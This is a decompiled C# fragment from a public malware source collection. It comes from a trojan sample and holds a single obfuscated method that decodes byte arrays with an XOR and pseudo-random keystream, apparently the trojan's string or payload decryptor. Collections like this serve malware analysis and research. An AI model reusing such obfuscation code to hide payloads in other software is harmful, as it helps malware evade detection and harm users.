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https://github.com/vxunderground/MalwareSourceCode.git
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32 lines
1.1 KiB
C#
32 lines
1.1 KiB
C#
// Decompiled with JetBrains decompiler
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// Type:
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// Assembly: server2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: A78406EB-6936-436A-BB47-86E06CAA33E0
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3.exe
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internal static class \u0006
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{
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public static byte[] \u0002(byte[] _param0, byte[] _param1)
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{
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byte num1 = _param0[1];
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int length = _param1.Length;
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byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
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uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
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ushort num4 = 0;
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for (int index = 0; index < length; ++index)
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{
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if ((index & 1) == 0)
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{
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num3 = (uint) ((int) num3 * 214013 + 2531011);
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num4 = (ushort) (num3 >> 16);
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}
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byte num5 = (byte) num4;
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num4 >>= 8;
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byte num6 = _param1[index];
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_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
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num2 = num6;
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}
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return _param1;
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}
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}
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